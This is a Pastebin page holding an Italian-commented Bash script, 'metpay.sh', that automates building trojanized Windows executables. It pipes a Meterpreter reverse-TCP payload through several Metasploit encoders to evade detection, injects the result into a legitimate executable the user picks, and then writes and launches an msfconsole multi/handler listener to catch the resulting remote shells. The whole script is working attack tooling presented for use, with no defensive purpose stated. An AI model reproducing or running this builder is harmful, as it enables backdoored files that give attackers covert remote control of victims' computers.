Advertisement
under_r00t

metpay.sh

Jan 15th, 2013
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 5.29 KB | None | 0 0
  1.     #!/bin/bash
  2.      
  3.     ## PERCORSI E DEFINIZIONI ##
  4.     target="$HOME/Modelli/EVIL/TARGET";
  5.     fil="evilmet.rc" ;
  6.     met="windows/meterpreter/reverse_tcp" ;
  7.     met2="windows/shell_reverse_tcp" ;
  8.     met3="windows/dllinject/reverse_tcp" ;
  9.     met4="windows/exec" ;
  10.     enc1="x86/call4_dword_xor" ;
  11.     enc2="x86/jmp_call_additive" ;
  12.     enc3="x86/shikata_ga_nai" ;
  13.      
  14.     #colori di output
  15.     RED="\e[0;31m" ;
  16.     YEL="\e[0;33m" ;
  17.     NORM="\e[0m" ;
  18.      
  19.      
  20.     # CONTROLLO PERMESSI
  21.     if [ $UID -eq 0 ]
  22.             then  
  23.                     echo  
  24.                     echo "[ok] check UID"
  25.             else
  26.                     echo
  27.                     echo -e "${RED}[fail]${NORM} Non hai i permessi necessari per eseguire lo script! need to be root!" && exit
  28.     fi
  29.      
  30.     # TENGO D'OCCHIO L'ORA ;)
  31.     tim=`date +%T`;
  32.     echo
  33.     echo -e "$YEL           inizio lavori: $tim $NORM "
  34.      
  35.     # CREO LA CARTELLA DI LAVORO ED ENTRO
  36.     fun_ambiwork (){
  37.             mkdir -p $target/MetPay_$tim &> /dev/null
  38.                     if [ $? -eq 0 ]
  39.                             then
  40.                                     echo
  41.                                     echo "[ok] MetPay_$tim creata con successo"
  42.                             else
  43.                                     echo
  44.                                     echo -e "${RED}[fail]${NORM} impossibile creare la cartella di lavoro" && exit
  45.                     fi
  46.     #       cd $HOME/Modelli/EVIL/MetPay_$tim
  47.             }
  48.      
  49.     # SCELTA DELL'ESEGUIBILE
  50.     fun_exetarget () {
  51.             echo
  52.             echo -e "$YEL           Eseguibili disponibili per winz: $NORM"
  53.             ls $target |grep .exe
  54.             echo
  55.             echo -e "$YEL           Binari per linux: $NORM"
  56.             ls $target |grep .so
  57.             echo
  58.             echo -n "Scegli l'eseguibile adatto: "
  59.             read eseg
  60.             cp $target/$eseg $target/MetPay_$tim &> /dev/null
  61.                     if [ $? -eq 0 ]
  62.                             then
  63.                                     echo
  64.                                     echo "[ok] $eseg copiato con successo"
  65.                             else
  66.                                     echo
  67.                                     echo -e "${RED}[fail]${NORM} impossibile copiare $eseg NON ESISTE!"
  68.                                     fun_exetarget
  69.                     fi
  70.      
  71.             #return $eseg
  72.             }
  73.      
  74.      
  75.     # COSTRUISCO L'ESEGUIBILE CATTIVERRIMO
  76.     fun_build () {
  77.             echo
  78.             echo -n "inserisci il tuo ip: "
  79.             read ip
  80.      
  81.             echo -n "inserisci la porta: "
  82.            
  83.             read porta
  84.             echo
  85.             echo -e "$YEL           genero il payload e lo codifico $NORM"
  86.             echo
  87.             echo
  88.     msfpayload $met LHOST=$ip LPORT=$porta R | msfencode -e $enc3 -c 10 -t raw | msfencode -e $enc2 -c 1 -t raw | msfencode -e $enc1 -c 1 -t exe -x $target/MetPay_$tim/$eseg -o $target/MetPay_$tim/E_$eseg
  89.             if [ $? -eq 0 ]
  90.                     then
  91.                             echo
  92.                             echo "[ok] payload generato con successo, è possibile utilizzare E_$eseg"
  93.                     else
  94.                             echo
  95.                             echo -e "${RED}[fail]${NORM} non è stato possibile generare il payload" && exit
  96.             fi
  97.             }
  98.      
  99.     # SCRIVO LO SCRIPT CHE CARICHERA' MSFCONSOLE
  100.     fun_fil () {
  101.             cd $target/MetPay_$tim
  102.             if [ -e $fil ]
  103.                     then
  104.                             echo
  105.                             echo "ho trovato un vecchio file di configurazione, verrà rinominato"
  106.                             mv $fil $fil.old_$tim &> /dev/null
  107.                                     if [ $? -eq 0 ]
  108.                                             then
  109.                                                     echo
  110.                                                     echo "[ok] $fil rinominato con successo"
  111.                                             else
  112.                                                     echo
  113.                                                     echo -e "${RED}[fail]${NORM} non è stato possibile rinominare $fil "
  114.                                     fi
  115.             fi
  116.             echo
  117.             echo -e "$YEL    sto creado il file di configurazione per msfconsole $NORM"
  118.             touch $fil
  119.             echo "use exploit/multi/handler" >> $fil
  120.             echo "set PAYLOAD $met" >> $fil
  121.             echo "set LHOST $ip" >> $fil
  122.             echo "set LPORT $porta" >> $fil
  123.             echo "set ExitOnSession false" >> $fil
  124.             echo "exploit -j -z" >> $fil
  125.             cat $fil
  126.            
  127.             ( xfce4-terminal -e "msfconsole -r $fil" ) &
  128.                     if [ $? -eq 0 ]
  129.                             then    
  130.                                     echo
  131.                                     echo "[ok] msfconsole iniziata con successo"
  132.                             else
  133.                                     echo
  134.                                     echo -e "${RED}[fail]${NORM} impossibile avviare msfconsole" && exit
  135.                     fi
  136.             }
  137.      
  138.     fun_ambiwork
  139.      
  140.     fun_exetarget
  141.      
  142.     fun_build $eseg
  143.      
  144.     fun_fil
  145.      
  146.     exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement